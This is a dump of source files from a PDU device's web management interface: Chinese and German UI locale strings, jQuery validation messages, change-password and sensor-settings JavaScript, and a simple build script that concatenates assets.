txt6: "到登录页面。"
},
language: {
txt: "语言",
type: {
en: "English",
cn: "简体中文"
}
},
logout: "退出",
doreallylogout: "您确定要退出吗?",
tree: "PDU 浏览",
login: "以 {0} 身份登录",
greeting: "欢迎来到 Enlogic",
ip: "<b>IP 地址: </b>{0}",
time: "<b>登录时间: </b>{0}"
};
/*--> FOR DIALOG HEAD END <--*/
/*--> FOR INDEX(ALL DASHBOARD EXCEPT SENSOR PART) PAGE and SOME PROMPT FOR RESET ACTION BEGIN <--*/
/*--left pages--*/
/*Dashboard page*/
MODEL.dashboard = {
loading: "加载中",
status: "状态",
alarms: "告警",
ok: "正常",
currentrms: "电流, RMS (A)",
cb1current: "断路器1 电流",
cb2current: "断路器2 电流",
cb1status: "断路器1 状态",
cb2status: "断路器2 状态",
voltagerms: "电压, RMS (V)",
voltenergy: "电能 (kWh)",
pdupowerenergy: "PDU 电能",
externalsensor: "外部传感器, 类型",
externalsensortype: "Type",
sensorname: "传感器名字",
pduname: "PDU 名字",
location: "位置",
value: "值",
activealarmpdu: "当前告警 PDU #",
close: "关闭",
alarmtype: "告警类型",
count: "个数"
};
/*PDU #*/
MODEL.pdu = {
pduset: "PDU 设置",
pduenergy: "PDU 能量",
pduattribute: "PDU 属性",
pduname: "PDU 名字",
pdulocation: "PDU 位置",
pduunitdelay: "PDU 冷启动延迟 (0 - 3600 s)",
outletstate: "PDU 启动时输出端口状态",
resetenergy: "复位电能",
resetolenergy: "复位输出端口电能",
pdumacaddress: "PDU MAC 地址",
rating: "额定值",
resetenergymeter: "可复位电能",
activepowervalue: "有效功率值 (W)",
activepowerset: "有效功率状态,设置",
reset: "重置",
resetsuccess: "重置成功!",
surechangeol: "您确定想为所有输出端口做此改变吗?",
reallyresetenergy: "您确定想重置电能?",
nopermission: "无权限:"
}
/*Input Phases*/
MODEL.phases = {
phasecurrentrms: "相电流,RMS",
reading: "读取值 ",
lowercritical: "下临界值 ",
lowerwarning: "下临界警告 ",
upperwarning: "上临界警告 ",
uppercritical: "上临界值 ",
statusset: "状态, 设置",
phasevoltagerms: "相电压, RMS",
phasepower: "相功率",
apparentpower: "视在功率 (VA)",
powerfactor: "功率因素",
activepower: "可复位电能 (kWh)"
};
window.UPDATESTATUS = {
0: "更新失败!",
2: "由于长时间处于未活动状态您已经被注销.",
3: "选择的用户组已分配给用户,不能被删除。",
41: "您的旧密码输入不正确!",
42: "端口被占用!",
43: "您的登录密码过于简单不能被用作身份验证依据!",
51: "由于过载限制,下面的输出端口不能被打开.<br/>( 输出端口ID: [ {0} ] )"
};
/*--> FOR INDEX(ALL DASHBOARD EXCEPT SENSOR PART) PAGE and SOME PROMPT FOR RESET ACTION END <--*/
/*--> FOR SENSOR FUNCTION BEGIN <--*/
/*Sensor page*/
MODEL.sensor = {
id: "编号",
typeset: "类型",
statusset: "状态, 设置",
value: "值",
serialno: "序列号",
aisle: "通道",
name: "名字",
description: "描述",
location: "位置"
}
/*--> FOR SENSOR FUNCTION END <--*/
/*--> FOR CHANGE PASSWORD DIALOG BEGIN <--*/
/**--Menu Dialog Pages--*/
MODEL.changepw = {
oldpass: "旧密码",
newpass: "新密码",
cfmpass: "<PASSWORD>",
chgpwfail: "修改密码失败.",
confirminfo: "After changing the setting, you will need to login again.<br/> Do you really want to apply changes now?"
};
/*--> FOR CHANGE PASSWORD DIALOG END <--*/
/*--> FOR USERS DIALOG BEGIN <--*/
MODEL.users = {
noselect: "请选择一行!",
usernotbedel: "此用户不能被删除!",
notdelyourself: "您不能删除您自己!",
notdelthisuser: "您不能删除此用户!",
reallydeluser: "您确定想删除此用户: {0} ?",
nopermission: "您没有权限修改此用户!",
enteruserexist: "输入的用户名已经存在!",
noselectrole: "请选择一个用户组!",
setting: "设置",
snmpv3: "SNMPv3",
// roles: "用户组",
preferences: "首选项",
//
createnewuser: "创建新用户",
edituser: "编辑用户:",
active: "活动",
roles: "用户组",
username: "用户名",
fullname:"全名",
password: "密码",
cfpassword: "<PASSWORD>",
telnumber: "电话号码",
emailaddress: "邮箱地址",
enabled: "启用",
forcepwchntlg: "在下次登录时强制修改密码",
//
enablesnmpacc: "启用SNMPv3的访问",
securitylevel: "安全级别",
usepwasauthpass: "使用密码作为身份验证码",
authpass: "<PASSWORD>",
cfauthpass: "确认身份验证码",
useauthaspri: "使用身份验证码作为加密密钥",
pripass: "加密密钥",
cfpripass: "确认加密密钥",
authalgorithm: "身份验证算法",
prialgorithm: "加密算法",
//
temperatureunit: "温度单位",
//
news: "新建",
edits: "编辑",
deletes: "删除"
};
window.PINGSTATUS = {
0: "可访问",
1: "不可访问",
2: "等待可靠的响应",
3: "错误"
};
/*--> FOR USERS DIALOG END <--*/
/*--> FOR NETWORK CARD RESET DIALOG BEGIN <--*/
MODEL.netsvr = {
change: "更改设置后,您将需要重置网络管理卡使其生效。您确定想现在应用此变更吗?"
};
MODEL.resetdev = {
doresetcard: "您确定要重置网络管理卡吗?"
};
/*--> FOR NETWORK CARD RESET DIALOG END <--*/
/*--> FOR HTTP DIALOG BEGIN <--*/
MODEL.http = {
httpport: "HTTP端口",
httpsport: "HTTPS端口"
};
/*--> FOR HTTP DIALOG END <--*/
/*--> FOR SNMP DIALOG BEGIN <--*/
MODEL.snmp = {
general: "常规项",
traps: "Traps",
snmpv12set: "SNMP v1 / v2c 设置",
snmpv12: "SNMP v1 / v2c",
enable: "启用",
readcs: "读权限授权字串",
writecs: "写权限授权字串",
snmpv3set: "SNMP v3 设置",
snmpv3: "SNMP v3",
mibiigroup: "MIB-II 系统组",
syscontact: "sysContact",
sysname: "sysName",
syslocation: "sysLocation",
snmptrapset: "SNMP Traps 设置",
snmptraprule: "系统 SNMP Traps事件规则",
host: "主机",
port: "端口",
community: "授权字串",
helpinfo: "请进入 设备配置 > 事件规则设置 进行详细设置.",
downloadmib: "下载MIB文件"
};
/*--> FOR SNMP DIALOG END <--*/
/*--> FOR TELNET DIALOG BEGIN <--*/
MODEL.telnet = {
telnetport: "Telnet端口",
enabletelnet: "启用Telnet访问"
};
/*--> FOR TELNET DIALOG END <--*/
/*--> FOR NETWORK CONFIGUARATION DIALOG END <--*/
MODEL.network = {
ipprotocol: "IP协议",
ipv4set: "IPv4设置",
ipv4only: "仅选IPv4",
ipv6only: "仅选IPv6",
ipv46: "IPv4 & IPv6",
dnsresolve: "DNS服务器",
preference: "首选项",
ipv4address: "IPv4地址",
ipv6address: "IPv6地址",
ipautoconfig: "IP地址获取方法",
ipaddress: "IP地址",
netmask: "网络掩码",
gateway: "网关IP地址",
specficdns: "手动配置DNS服务器",
primarydns: "DHCP 协议",
secondarydns: "静态地址",
dnssuffix: "DNS后缀(可选)"
};
/*--> FOR NETWORK CONFIGUARATION DIALOG END <--*/
/*--> FOR HTTP SETTING BEGIN <--*/
MODEL.forcehttpinfo = {
confirminfo: "改变设置后, 您将需要重新设置网络管理卡使其生效.<br/> 您确定现在应用此变化吗?"
};
/*--> FOR HTTP SETTING END <--*/
/*--> FOR DATALOG DIALOG BEGIN <--*/
MODEL.datalog = {
loginterval: "日志记录间隔 (1 - 1440 分钟)",
enablelog: "启用数据日志记录",
illustrateinfo: "数据记录可存储多达2000条记录,存储是基于日志的时间间隔设置的最大时间范围内的数据。例如,对于日志的时间间隔为600秒(10分钟),数据日志将会包含13.89天的数据记录,一旦达到最大规模,最早的条目将会被较新的条目覆盖。"
};
/*--> FOR DATALOG DIALOG END <--*/
/*--> FOR DATATIME DIALOG END <--*/
MODEL.datetime = {
timezone: "时区",
usertime: "用户指定时间",
date: "日期(YYYY/MM/DD hh:mm:ss)",
time: "时间(hh:mm:ss)",
synntpserver: "与NTP服务器同步",
firstip: "主服务器IP地址",
secondip: "次服务器IP地址",
checkntp: "检查NTP服务器",
checkntpinfo: "请输入正确的NTP服务器!"
};
/*--> FOR DATATIME DIALOG END <--*/
/*--> FOR PDU INFO DIALOG BEGIN <--*/
MODEL.pduinfo = {
pdunm: "PDU 名字:",
pduloc: "位置:"
};
/*--> FOR PDU INFO DIALOG END <--*/
/*--> FOR DOWNLOAD LOG DIALOG BEGIN <--*/
MODEL.diagnostic = {
diagconf: "日志下载",
dldiaginfo: "下载日志信息",
clearlog: "清除日志",
confirminfo: "您确定要清除日志信息吗?"
};
/*--> FOR DOWNLOAD LOG DIALOG END <--*/
/*--> FOR PDU CONFIGURATION DIALOG END <--*/
MODEL.blkconf = {
dlconf: "下载配置",
dlconffile: "下载配置文件",
Uploadconf: "上传配置",
upload: "上传",
uploadsucc: "上传成功, 更新中...",
applyconf: "应用配置",
pleasewait: "请稍候...!"
};
/*--> FOR PDU CONFIGURATION DIALOG END <--*/
/*--> FOR DEVICE INFOMATION DIALOG END <--*/
MODEL.devinfo = {
pduinfo: "PDU 信息",
outlets: "输出端口",
circbreak: "断路器",
sku: "SKU",
serialnum: "序列号",
rating: "额定值",
functype: "功能类型",
pdutype: "功能类型",
pdutypev: "PDU可测",
ipv4addr: "设备IPv4地址",
ipv6addr: "设备IPv6地址",
macaddr: "设备MAC地址",
fwversion: "固件版本",
webversion: "Web版本",
pdumib: "PDU-MIB",
download: "下载",
label: "编号",
operatevol: "工作电压",
ratecurrent: "额定电流",
type: "类型",
protoutlet: "被保护的输出端口"
};
window.CBTYPE = {
0: "无"
, 1: "单极断路器"
, 2: "双极断路器"
};
/*--> FOR DEVICE INFOMATION DIALOG END <--*/
/*--> FOR BUTTON IN DIALOG BEGIN <--*/
/**--Buttons--*/
MODEL.buttons = {
cancels: "取消",
oks: "确认",
closes: "关闭",
yes: "是",
no: "否",
save: "保存",
edit: "编辑",
action: "操作",
message: "消息",
info: "信息",
runping: "执行Ping",
run: "运行"
};
/*--> FOR BUTTON IN DIALOG END <--*/
/*--> FOR CURRENT(CB) ALARM NAME IN INDEX(DASHBOARD) PAGE BEGIN <--*/
MODEL.master.setalarmdl.alarm = "告警";
MODEL.master.setalarmdl.off = "关闭";
MODEL.master.setalarmdl.on = "开启";
MODEL.master.setalarmdl.disable = "禁用";
MODEL.master.setalarmdl.enable = "启用";
MODEL.master.setalarmdl.normal = "正常";
/*--> FOR CURRENT(CB) ALARM NAME IN INDEX(DASHBOARD) PAGE BEGIN <--*/
/*--> FOR SOME VALIDATE PROMPT BEGIN <--*/
window.VALID = {
ipv4: "请输入正确的IPV4地址"
, ipv6: "请输入正确的IPV6地址"
, nowhite: "不允许空白字符"
, greater: "请输入大一些的数字"
, customdate: "日期格式不正确"
, lowchar: "请至少输入一个小写字母"
, uppchar: "请至少输入一个大写字母"
, numchar: "请至少输入一个数字"
, spechar: "请至少输入一个特殊字符"
, diffval: "请输入不同的值"
};
/*--> FOR SOME VALIDATE PROMPT END <--*/
MODEL.login.authfail = "认证失败";
MODEL.login.connfail = "连接拒绝";
MODEL.datetime.succ = "验证成功";
MODEL.datetime.fail = "验证失败";
})(window);
/*messages_zh.js*/
/*
* Translated default messages for the jQuery validation plugin.
* Locale: ZH (Chinese, 中文 (Zhōngwén), 汉语, 漢語)
*/
jQuery.extend(jQuery.validator.messages, {
required: "必选字段",
remote: "请修正该字段",
email: "请输入正确格式的电子邮件",
url: "请输入合法的网址",
date: "请输入合法的日期",
dateISO: "请输入合法的日期 (ISO).",
number: "请输入合法的数字",
digits: "只能输入整数",
creditcard: "请输入合法的信用卡号",
equalTo: "请再次输入相同的值",
accept: "请输入拥有合法后缀名的字符串",
maxlength: jQuery.validator.format("请输入一个长度最多是 {0} 的字符串"),
minlength: jQuery.validator.format("请输入一个长度最少是 {0} 的字符串"),
rangelength: jQuery.validator.format("请输入一个长度介于 {0} 和 {1} 之间的字符串"),
range: jQuery.validator.format("请输入一个介于 {0} 和 {1} 之间的值"),
max: jQuery.validator.format("请输入一个最大为 {0} 的值"),
min: jQuery.validator.format("请输入一个最小为 {0} 的值")
});
<file_sep>/src/js/.svn/text-base/el.changepsw.js.svn-base
(function() {
var self = EL.ChangePsw = function() {
var $changepsw_result = $("#changepsw_result");
var submitHandler = function(form) {
var oldpassword, newPassword;
oldpassword = $('#txtOldpassword').val();
newPassword = $('#txtPassword').val();
updateNewPassword(oldpassword, newPassword);
return false;
};
//Send data to the server in JSON format to Change Password.
function updateNewPassword(txtOldpassword, newPassword) {
var model = MODEL.changepw;
$.messager.confirm(MODEL.buttons.message, MODEL.changepw.confirminfo, function () {
var changePasswordJson = {
"username" : EL.Auth.username
, "oldpassword" : <PASSWORD>
, "newpassword" : <PASSWORD>
};
$.ajax({
url: "private/password.json",
data: changePasswordJson,
dataType : "json",
success: function(data) {
if (EL.UpdateStatus(data)) {
EL.Auth.update(EL.Auth.username, user.password);
location.reload();
// $('#mydialog').dialog('destroy');
// $('#mydialog').html('');
} else {
$changepsw_result
// .html('Change Password Failed.')
.html(model.chgpwfail)
.show();
}
}
});
});
}
function getPasswordPolicy() {
$('#txtOldpassword')
.focus(function() {
$changepsw_result.hide();
})
.focus();
var min = 4
, max = 10
, policy = {}
;
$("#frchangepw").validate({
rules: {
txtOldpassword: {required: true, oldpwd: true},
txtPassword: $.extend({required: true, minlength: min, maxlength: max, notEqualTo:"#txtOldpassword"}, policy),
txtConfirmPassword: $.extend({required: true, equalTo:"#txtPassword"}, policy)
},
submitHandler: submitHandler
});
}
getPasswordPolicy();
//EL.Privilege.setButton([$("#btnMainSubmit")], 0x00000080);
};
}());
<file_sep>/src/js/.svn/text-base/el.sensorinfo.js.svn-base
/*User*/
(function() {
EL.SensorSet = function() {
var model = MODEL.users
, $gdSensor = $('#gdSensor');
var setSensorGrid = function(rows) {
var dataArr = [];
$.each(rows, function (key, value) {
if (0 != value.connection) {
dataArr.push(value);
}
});
var cols = [[
{field:"type", title:"{0}".format(MODEL.dashboard.externalsensortype), formatter: function(value) {
return '<input value="{0}" name="sensortype" class="form-control" disabled="disabled"><input value="{1}" name="type" type="hidden">'.format(SENSORTYPE[value], value);
}, readonly: true},
{field:'sensorname', title:'{0}'.format(MODEL.dashboard.sensorname), formatter: function(val) {
return '<input value="{0}" name="sensorname" class="form-control">'.format(val);
}},
{field:'aisle', title:'{0}'.format(MODEL.sensor.aisle), formatter: function(val) {
var aislehtml = '<select id="aisletype" name="aisletype" style="width:100px;padding-top:4px;height:32px;vertical-align:middle;text-align:center;">';
if (val==0) {
aislehtml += '<option value=0 selected>Cold</option><option value=1>Hot</option>';
} else if (val==1) {
aislehtml += '<option value=0>Cold</option><option value=1 selected>Hot</option>';
}
aislehtml += '</select>';
return aislehtml;
}},
{field:'null', formatter: function(val) {
return '<button class="btn btn-primary">{0}</button>'.format(MODEL.buttons.save);
}}
]];
$gdSensor.datagrid({
columns: cols,
edit: true,
singleSelect: true,
});
$gdSensor.datagrid("loadData", {rows: dataArr});
$("#gdSensor button").click(function() {
var $tr = $(this).closest("tr")
, sensor = $tr.find("input, select").inputToJSON()
;
// console.log(sensoraisle);
// var sensortypev;
// if (sensor.sensortype=="Temperature (℃)") {
// sensortypev = 1;
// } else if (sensor.sensortype=="Humidity (%)") {
// sensortypev = 2;
// }
var resetsensorJson = {
"sensortype": sensor.type,
"sensorname": sensor.sensorname,
"sensoraisle": sensor.aisletype
};
if (sensor.sensorname.length > 16) {
var msg = jQuery.validator.messages.maxlength(16)
$.messager.alert(PINGSTATUS["3"], msg);
} else {
$.getJSON("private/sensor_set.json", resetsensorJson, function(data) {
EL.UpdateStatus(data) && $.messager.alert(MODEL.buttons.info, MODEL.datetime.succ);
});
}
});
};
var getSensorGrid = function() {
$.ajax({
url: "public/sensor.json",
dataType: "json",
success: setSensorGrid
});
};
// Creating User and RoleinUser Grids.
getSensorGrid();
//Form validation
//$tabCreateNewUser.mouseover(generateTooltips);
var privilege = function() {
$("#btnMainSubmit").hide();
//EL.Privilege.setButton([$btnNewUser, $btnEditUser, $btnDeleteUser, $("#btnOk")], 0x00000020);
};
privilege();
};
})();
<file_sep>/build.sh
#!/bin/bash
#show commands
set -x
#combine js and css
cd src/js
cat jquery-1.10.2.min.js bootstrap.min.js jquery.bootstrap.js jquery.validate.js jquery.cookie.js jquery.inputToJSON.js LAB.src.js string.Base64.js doT.js setting.js locale.en.js validator.js el.auth.js el.master.js el.login.js el.locale.js el.changepsw.js el.resetnetwork.js el.resetdev.js el.datetime.js el.getdevinfo.js el.dashboards.js el.telnet.js el.http.js el.datalog.js el.download.js el.user.js el.setalarm.js el.privileges.js el.snmp.js el.uploadfile.js el.pduinfoset.js el.eventrule.js el.sensorinfo.js > prod.js
cat html5shiv.js respond.min.js > ie8.js
cd ../css
cat bootstrap.min.css site.css > prod.css
cd ../../tool
# Update version in device info
node version.js
#wait for 10 seconds
sleep 20
<file_sep>/src/js/locale.de.js
/*configuration.js*/
/*Model*/
(function(window) {
window.ALARMTYPE = {
0: "Unit",
1: "Eingabephase",
2: "Sicherungsautomat",
3: "Outlets",
4: "Externe Sensoren"
};
window.SENSORTYPE = {
1: "Temperatur",
2: "Feuchtigkeit (%)",
3: "Türkontakt",
4: "Kontaktsensor",
5: "Flüssigkeits-Leckagesensor",
6: "Doppelboden-Feuchtigkeitssensor",
7: "Rauch",
8: "Leuchtsignal"
};
window.TEMPUNIT = {
0: "C",
1: "F"
};
// window.FLUID = {
// 0: "keine Leckage",
// 1: "Leckage"
// };
// window.AISLETYPE = {
// 0: "Kalt",
// 1: "Heiß"
// };
// window.POWERSTATUS = {
// 0: "Aus",
// 1: "An",
// 2: "Zuletzt bekannt"
// };
/*
pdu power control type
*/
// window.PDUCTRLTYPE = {
// 0: "Aus",
// 1: "An",
// 2: "Zuletzt bekannt"
// };
// window.POWERCTRLTYPE = {
// 0: "Aus",
// 1: "An",
// 2: "Ausschaltung verzögert",
// 3: "Einschaltung verzögert",
// 4: "Umgehendes Reboot",
// 5: "Verzögertes Reboot"
// //, 6: "Cancel Pending Commands"
// };
window.ALARMUNITTYPE = {
A: {
unit: " (A)",
factor: 1000,
fixed: 2,
max: 16,
min: 0,
title: "Stromstärke"
},
V: {
unit: " (V)",
factor: 1000,
fixed: 0,
max: 260,
min: 90,
title: "Stromspannung"
},
VA: {
unit: " (VA)",
factor: 1000,
fixed: 0,
min: 0,
max: 49140,
title: "Scheinleistung"
},
W: {
unit: " (W)",
factor: 1000,
fixed: 0,
min: 0,
max: 49140,
title: "Aktive Leistung"
},
Wh: {
unit: " (Wh)",
factor: 1000,
fixed: 2,
min: 0,
max: 1000000000,
title: "Energie"
},
C: {
unit : " (°C)",
factor: 1,
fixed: 0,
min: 0,
max: 75,
title: "Temperatur"
},
F: {
unit : " (F)",
factor: 1,
fixed: 0,
min: 32,
max: 167,
title: "Temperatur"
},
H: {
unit : " (%)",
factor : 1,
fixed: 0,
min: 15,
max: 90,
title: "Feuchtigkeit"
}
};
// window.UPDATESTATUS = {
// 0: "Update fehlgeschlagen!",
// 2: "Sie wurden ausgeloggt, da Sie zu lange inaktiv waren.",
// 3: "Die ausgewählte Rolle ist derzeit Usern zugeordnet und kann nicht entfernt werden.",
// 41: "Das alte Passwort ist nicht korrekt.",
// 42: "Der Port ist bereits belegt!",
// 43: "Ihr Login-Passwort ist zu einfach, um als Zugangspasswort benutzt zu werden.",
// 51: "Die folgenden Outlets/das folgende Outlet können/kann derzeit aufgrund einer Überladungsbegrenzung nicht angeschaltet werden :.<br/>( Outlet ID: [ {0} ] )"
// };
window.POWERENERGY = {
"activepower" : "Aktive Leistung (W)",
"apparentpower" : "Scheinleistung (VA)",
"totalenergymeter" : "Gesamtstrom (kWh)"
};
// window.OUTLETS = {
// 0x00000001: "Outlet 1",
// 0x00000002: "Outlet 2",
// 0x00000004: "Outlet 3",
// 0x00000008: "Outlet 4",
// 0x00000010: "Outlet 5",
// 0x00000020: "Outlet 6",
// 0x00000040: "Outlet 7",
// 0x00000080: "Outlet 8",
// 0x00000100: "Outlet 9",
// 0x00000200: "Outlet 10",
// 0x00000400: "Outlet 11",
// 0x00000800: "Outlet 12",
// 0x00001000: "Outlet 13",
// 0x00002000: "Outlet 14",
// 0x00004000: "Outlet 15",
// 0x00008000: "Outlet 16",
// 0x00010000: "Outlet 17",
// 0x00020000: "Outlet 18",
// 0x00040000: "Outlet 19",
// 0x00080000: "Outlet 20",
// 0x00100000: "Outlet 21",
// 0x00200000: "Outlet 22",
// 0x00400000: "Outlet 23",
// 0x00800000: "Outlet 24",
// 0x01000000: "Outlet 25",
// 0x02000000: "Outlet 26",
// 0x04000000: "Outlet 27",
// 0x08000000: "Outlet 28",
// 0x10000000: "Outlet 29",
// 0x20000000: "Outlet 30",
// 0x40000000: "Outlet 31",
// 0x80000000: "Outlet 32"
// };
/*
privilege text
*/
// window.PRIVILEGES = {
/*
//"ADMIN_PRIV": "Administrator Privileges",
0x00000002: "Change Data Logging Settings",
0x00000004: "Change Date/Time Settings",
0x00000008: "Change Event Settings",
0x00000010: "Change External Sensors Configuration",
0x00000020: "Change Local User Management",
0x00000040: "Change Network Configuration",
0x00000080: "Change Own Password",
0x00000100: "Change PDU Settings",
0x00000200: "Change SNMP Settings",
0x00000400: "Change Security Settings",
0x00000800: "Change USB Settings",
0x00001000: "Firmware Update",
0x00002000: "Network Card Reset",
0x00004000: "Switch Outlet",
0x00008000: "Operate Configuration File",
0x00010000: "Change Input Phase Setting",
0x00020000: "Change Circuit Breaker Setting",
0x00040000: "Change Network Service",
0x00080000: "Change SMTP Setting",
0x00100000: "Change Server Reachability",
0x00200000: "Disconnect Other User",
0x00400000: "Run Diagnostics",
0x00800000: "Clear Data/Event Log",
0x01000000: "Change LDAP Setting",
0x02000000: "Change Outlet Setting"
*/
// 0x00000100: "PDF-Einstellungen ändern",
// 0x00010000: "Eingabephasen-Einstellungen ändern",
// 0x00020000: "Sicherungsautomaten-Einstellungen ändern",
// 0x00000010: "Konfiguration Externer Sensoren ändern",
// 0x00004000: "Outlet schalten",
// 0x02000000: "Outlet-Einstellungen wechseln",
// 0x00000080: "Eigenes Passwort ändern",
// 0x00000020: "Lokale Userverwaltung ändern",
// 0x00040000: "Netzwerkdienst ändern",
// 0x00000200: "SNMP Einstellungen ändern",
// 0x00000040: "Netzwerkeinstellungen ändern",
// 0x00000400: "Sicherheitseinstellungen ändern",
// 0x00000008: "Ereigniseinstellungen ändern",
// 0x00000002: "Datenlog-Einstellungen ändern",
// 0x00000004: "Datum/Zeit-Einstellungen ändern",
// 0x00080000: "SMTP-Einstellungen ändern",
// 0x00100000: "Servererreichbarkeit ändern",
// 0x00000800: "USB-Einstellungen ändern",
// 0x01000000: "LDAP-Einstellung ändern",
// 0x00800000: "Daten-/Ereignislog löschen",
// 0x00001000: "Firmware-Update",
// 0x00200000: "Anderen User abkuppeln",
// 0x00400000: "Diagnose durchführen",
// 0x00008000: "Konfigurationsdatei ausführen",
// 0x00002000: "Netzwerkkarten-Reset"
// };
/*
The value will be different due to different device.
*/
// window.CURRENTMAX = 32;
/*
AJAX status collection
*/
// window.AJAXSTATUS = {
// 0: "Server reagiert nicht!"
// , 401: "Sie wurden ausgeloggt, da Sie zu lange inaktiv waren."
// , 420: "Ihre Sitzung wurde vom Administrator beendet."
// , 425: "Der User ist nicht aktiv oder bereits eingeloggt."
// , 426: "Die maximale User-Anzahl ist eingeloggt (10)."
// , 427: "Zu viele erfolglose Login-Versuche: Konto vorübergehend gesperrt."
// , 430: "Sie sind nicht dazu befugt, diese Handlung auszuführen!"
// , 501: "Interner Serverfehler!"
// //, 404: "Page not found!"
// };
// window.CLIENTTYPE = {
// //0: "TELNET",
// 1: "Web GUI",
// 2: "TELNET",
// 3: "FTP",
// 4: "SSH"
// };
// window.EVENTNAME = {
// "CALA" : "Kritischer Alarm",
// "WALA" : "Warn-Alarm",
// "CBSC" : "Sicherungsautomaten-Status geändert",
// "OLSC" : "Outlet-Stromkontrollstatus geändert",
// "ESSC" : "Externer Sensorstatus geändert",
// "PDUC" : "PDU-Konfigurationsdatei importiert/exportiert",
// "FMUP" : "Firmware-Update",
// "NCRS" : "Netzwerkkarten-Reset/Start",
// "CSSC" : "Kommunikationsstatus geändert",
// "DCSC" : "Daisy Chain Status geändert",
// "EBLM" : "Bootloader-Modus eingeben",
// "SPSC" : "Server Ping-Status geändert",
// "USRA" : "User-Aktivität",
// "PSWC" : "Passwort/Einstellungen geändert",
// "ROSC" : "Rollenstatus geändert",
// "USSC" : "User-Status geändert",
// "LDAP" : "LDAP Fehler"
// };
window.EVENTMAP = {
1 : "Critical alarm",
2 : "Warning alarm",
4 : "External sensor status changed",
8 : "PDU configuration file imported/exported",
16 : "Firmware update",
32 : "Network card reset/start",
64 : "Communication status changed",
128 : "Password Changed",
256 : "Log File Cleared(PS:including data log and event log)",
512 : "Network Interface Link Status Changed"
};
MODEL.eventrl = {
spEnableAll: "Enable All",
spEventRule: "Event Rule",
};
/*
Lower 16 bits are used for parameter (e.g. users);
*/
// window.EVENTTYPE = {
// //0x00000001 : "Log Event Message",
// 0x00010000 : "Sende SMTP Nachricht"
// , 0x00020000 : "Sende SNMP Trap"
// , 0x00040000 : "Leuchtsignal leuchtet"
// };
// window.EVENTRULE = {
// "Alarm" : {
// "CALA": 458752,
// "WALA": 458752
// },
// "CBSC": 458752,
// "OLSC": 196608,
// "ESSC": 458752,
// "PDUC": 196608,
// "FMUP": 196608,
// "NCRS": 196608,
// "CSSC": 458752,
// "DCSC": 196608,
// "EBLM": 196608,
// "SPSC": 196608,
// "USRA": 196608,
// "User-Verwaltung": {
// "PSWC": 196608,
// "ROSC": 196608,
// "USSC": 196608
// },
// "LDAP": 196608
// };
/*Root of the tree*/
EL.TreeRoot = {
"id": "dashboard",
"text": "Dashboard",
"iconCls": "icon-desk"
};
/*Template of the PDU*/
// EL.TreeMap = {
// ips:{
// id: "ips",
// url: "xhrips.jsp",
// text: "Eingabephasen",
// icon: "icon-ip"
// },
// cbs:{
// id: "cbs",
// url: "xhrcbs.jsp",
// text: "Sicherungsautomaten",
// icon: "icon-cb"
// },
// ess:{
// id: "extsens",
// url: "xhrextsens.jsp",
// text: "Externe Sensoren",
// icon: "icon-temp"
// },
// outs:{
// id: "outlets",
// url: "xhroutlets.jsp",
// text: "Outlet-Stromverwaltung"
// //,icon: "icon-ol"
// }
// };
//
/*--------Models---------*/
/*--main pages--*/
/*login page*/
MODEL.login = {
title: "Login",
username: "User-Name",
password: "<PASSWORD>",
login: "Login",
clear: "Löschen"
};
/*master page*/
MODEL.master = {
useradmin: {
txt: "User-Verwaltung",
changepw: {
txt: "Passwort ändern",
dlg: "User-Passwort ändern"
},
users: {
txt: "User",
dlg: "User verwalten"
},
roles: {
txt: "Rollen",
dlg: "Rollen verwalten"
}
},
deviceadmin: {
txt: "Gerätekonfiguration",
networkser: {
txt: "Netzwerkdienste",
http: {
txt: "HTTP",
dlg: "HTTP Einstellungen"
},
snmp: {
txt: "SNMP",
dlg: "SNMP Einstellungen"
},
ssh: {
txt: "SSH",
dlg: "SSH Einstellungen"
},
telnet: {
txt: "TELNET",
dlg: "TELNET Einstellungen"
},
ftp: {
txt: "FTP",
dlg: "FTP Einstellungen"
}
},
networkcon: {
txt: "Netzwerkkonfiguration",
dlg: "Netzwerkkonfiguration"
},
security: {
txt: "Sicherheit",
loginset: {
txt: "Login-Einstellungen",
dlg: "Login-Einstellungen"
},
passwordpol: {
txt: "<PASSWORD>-<PASSWORD>",
dlg: "<PASSWORD>wort-<PASSWORD>"
},
forcehttps: {
txt: "Force HTTPS für Webzugang",
dlg: "Force Https"
}
},
eventrules: {
txt: "Ereignisregeln",
dlg: "Ereignisregel-Einstellungen"
},
datalog: {
txt: "Datenlog",
dlg: "Datenlog-Einstellungen"
},
datetime: {
txt: "Datum/Zeit-Einstellungen ändern",
dlg: "Zeit/Datum Einstellungen konfigurieren"
},
smtpemail: {
txt: "SMTP-Email",
dlg: "SMTP Server-Einstellungen"
},
serverreach: {
txt: "Server-Erreichbarkeit",
dlg: "Server-Erreichbarkeit"
},
usb: {
txt: "USB",
dlg: "USB Einstellungen"
},
pduinfo: {
txt: "PDU Info",
dlg: "PDU Info Settings"
},
sensorinfo: {
txt: "LDAP",
dlg: "LDAP Einstellungen"
}
},
systemadmin: {
txt: "Systemverwaltung",
vweventlog: {
txt: "Ereignislog ansehen",
dlg: "Ereignislog ansehen"
},
vwdatalog: {
txt: "Datenlog ansehen",
dlg: "Datenlog ansehen"
},
firmwaremt: {
txt: "Firmware-Wartung",
udfirmware: {
txt: "Firmware aktualisieren",
dlg: "Firmware aktualisieren"
},
vwfirmwareud: {
txt: "Firmware-Updateverlauf ansehen",
dlg: "Firmware-Updateverlauf"
}
},
conusers: {
txt: "Verbundene User",
dlg: "Verbundene User"
},
diagnostic: {
txt: "Diagnostics",
dldiaginfo: {
txt: "Diagnostics-Informationen",
dlg: "Diagnostics-Informationen herunterladen"
}
},
pduconfig: {
txt: "PDU-Konfigurationsdatei",
dlg: "Konfigurationsdatei"
},
deviceinfo: {
txt: "Geräteinformationen",
dlg: "Geräteinformationen"
},
nwcardreset: {
txt: "Netzwerkkarte zurücksetzen",
dlg: "Netzwerkkarte zurücksetzen"
}
},
help: {
txt: "Hilfe",
userguide: {
txt: "Bedienungsanleitung",
dlg: "Bedienungsanleitung"
}
},
setalarmdl: {
lowercritical: "Kritisch: Wert zu niedrig",
lowerwarning: "Warnung: Wert zu niedrig ",
upperwarning: "Warnung: Wert zu hoch",
uppercritical: "Kritisch: Wert zu hoch",
resetthreshold: "Threshold zurücksetzen",
alarmscdelay: "Alarmstatusänderung verzögern (Muster):",
alarmsetting: "Alarmeinstellungen",
enablealarm: "Alarmeinstellungen aktivieren",
updatefail: "Update fehlgeschlagen",
lowcriticalinfo: '"Kritisch: Wert zu niedrig" + Grenze muss niedriger oder gleich sein als "Warnung: Wert zu niedrig"',
